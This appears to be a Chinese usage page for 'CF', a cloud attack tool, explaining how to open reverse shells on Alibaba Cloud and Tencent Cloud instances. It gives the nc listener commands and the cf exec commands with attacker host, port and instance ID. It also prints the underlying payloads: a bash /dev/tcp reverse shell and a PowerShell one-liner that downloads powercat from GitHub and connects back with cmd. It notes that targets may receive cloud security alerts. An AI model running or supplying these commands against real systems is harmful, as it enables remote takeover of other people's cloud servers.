# 在阿里云上反弹 Shell

首先在自己的主机上开启监听

nc -lvvp 4444
1

接着在 CF 中执行反弹 Shell 命令

--lhost 参数配置为自己监听主机的 IP,--lport 参数配置为自己的监听端口,-i 设置要反弹 Shell 的实例 ID(如果未指定具体的实例,则 CF 会提醒是否是选择全部实例还是某个实例。)

cf alibaba ecs exec --lhost 123.123.123.123 --lport 4444 -i i-abcdefghijklmn
1

# 在腾讯云上反弹 Shell

# 云服务器

首先在自己的主机上开启监听

nc -lvvp 4444
1

接着在 CF 中执行反弹 Shell 命令

cf tencent cvm exec --lhost 123.123.123.123 --lport 4444 -i i-abcdefghijklmn
1

# 轻量应用服务器

首先在自己的主机上开启监听

nc -lvvp 4444
1

接着在 CF 中执行反弹 Shell 命令

cf tencent lh exec --lhost 123.123.123.123 --lport 4444 -i i-abcdefghijklmn
1

# 备注

在 CF 中使用的 Linux 反弹 Shell 如下

bash -i >& /dev/tcp/123.123.123.123/4444 0>&1
1

在 CF 中使用的 Windows 反弹 Shell 如下

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 123.123.123.123 -p 4444 -e cmd
1

注意

  • 在阿里云下反弹 Shell ,目标租户可能会收到阿里云的云盾告警消息,所以此操作需谨慎。
  • 由于 CF 等待命令执行结果的默认时间是 60 秒,所以在超过 60 秒后,CF 会提示命令执行超时,从而退出程序。